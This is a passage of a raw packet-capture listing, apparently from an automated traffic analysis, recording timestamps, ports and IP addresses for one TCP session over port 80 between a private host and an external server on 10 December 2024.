Dec 10, 2024 02:50:50.477766991 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.478497982 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.478538036 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.478595972 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.478632927 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.479295969 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.479340076 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.479424953 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.479466915 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.480159044 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.480207920 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.480295897 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.480338097 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.481028080 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.481074095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.481105089 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.481146097 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.481954098 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.482002974 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.482036114 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.482072115 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.482749939 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.482798100 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.482851028 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.482893944 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.483555079 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.483601093 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.483666897 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.483712912 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.484422922 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.484474897 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.484512091 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.484554052 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.485296965 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.485344887 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.485416889 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.485460043 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.486197948 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.486247063 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.486247063 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.486285925 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.486968994 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.487018108 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.487114906 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.487159014 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.487834930 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.487883091 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.487947941 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.487993956 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.488693953 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.488738060 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.488836050 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.488883972 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.489552021 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.489603996 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.489676952 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.489722967 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.490428925 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.490478992 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.490586996 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.490637064 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.491262913 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.491311073 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.491345882 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.491386890 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.492120028 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.492166042 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.492202044 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.492244005 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.492988110 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.493033886 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.493103027 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.493153095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.493856907 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.493904114 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.493958950 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.494004011 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.494695902 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.494744062 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.494776011 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.494822025 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.495539904 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.495601892 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.495634079 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.495678902 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.496419907 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.496467113 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.496504068 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.496541023 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.497251987 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.497299910 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.497378111 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.497417927 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.498112917 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.498161077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.498230934 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.498276949 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.498941898 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.498991013 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.499026060 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.499066114 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.499804020 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.499851942 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.499886990 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.499927044 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.500648022 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.500696898 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.500778913 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.500824928 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.501512051 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.501559019 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.501615047 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.501657009 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.502306938 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.502353907 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.651609898 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.651665926 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.651701927 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.651741982 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.652025938 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.652067900 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.652153969 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.652189970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.652896881 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.652936935 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.653028011 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.653065920 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.653812885 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.653856039 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.653861046 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.653917074 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.654623032 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.654706001 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.654726982 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.654764891 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.655474901 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.655523062 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.655622959 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.655656099 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.656289101 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.656335115 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.656395912 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.656429052 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.657176971 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.657229900 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.657288074 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.657330036 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.658011913 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.658057928 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.658122063 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.658159018 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.658931971 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.658968925 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.658977985 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.659015894 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.659710884 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.659753084 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.659991026 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.660031080 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.660562992 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.660607100 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.660721064 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.660753965 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.661443949 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.661489964 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.661525011 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.661557913 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.662341118 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.662379026 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.662400961 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.662432909 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.663161039 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.663213015 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.663261890 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.663297892 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.664043903 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.664088011 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.664117098 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.664154053 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.664894104 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.664933920 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.664959908 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.664993048 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.665729046 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.665779114 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.665806055 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.665842056 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.666567087 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.666609049 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.666682959 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.666718960 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.667442083 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.667484045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.667556047 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.667593002 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.668265104 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.668299913 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.668360949 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.668401957 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.669158936 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.669203043 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.669229031 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.669272900 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.669970036 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.670017958 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.670097113 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.670142889 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.670845032 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.670890093 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.670926094 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.670965910 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.671705008 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.671741009 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.671827078 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.671866894 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.672590971 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.672636032 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.672662020 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.672703981 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.673410892 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.673455000 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.673495054 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.673595905 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.674258947 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.674300909 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.674371004 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.674415112 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.675126076 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.675165892 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.675230026 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.675266027 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.675993919 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.676035881 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.676060915 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.676100969 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.676835060 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.676882029 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.676911116 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.676947117 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.677741051 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.677784920 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.677787066 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.677823067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.678520918 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.678560972 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.678631067 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.678673983 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.679395914 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.679440022 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.679469109 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.679513931 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.680253983 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.680298090 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.680387974 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.680432081 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.681098938 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.681143045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.681206942 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.681250095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.681940079 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.681977987 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.682043076 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.682080030 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.682835102 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.682873964 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.682925940 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.682964087 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.683716059 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.683753014 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.683784962 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.683821917 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.684489012 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.684526920 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.684592962 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.684631109 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.685379982 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.685417891 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.685453892 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.685488939 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.686197996 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.686238050 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.686361074 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.686398029 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.687088966 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.687128067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.687194109 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.687230110 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.687911987 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.687949896 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.688049078 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.688088894 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.688761950 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.688802004 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.688864946 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.688903093 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.689660072 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.689698935 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.689779997 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.689815998 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.690469027 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.690506935 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.690603018 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.690640926 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.691319942 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.691355944 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.691441059 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.691478014 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.692173958 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.692212105 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.692291975 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.692331076 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.693042040 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.693078995 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.693137884 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.693176031 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.693933964 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.693973064 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.694041014 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.694077969 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.694775105 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.694824934 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.694892883 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.694945097 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.695617914 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.695662022 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.695735931 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.695770979 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.696422100 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.696463108 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.843914986 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.843993902 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.844007969 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.844053030 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.844175100 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.844216108 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.844415903 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.844460964 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.844615936 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.844660044 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.845216990 CET	80	49798	185.215.113.16	192.168.2.5
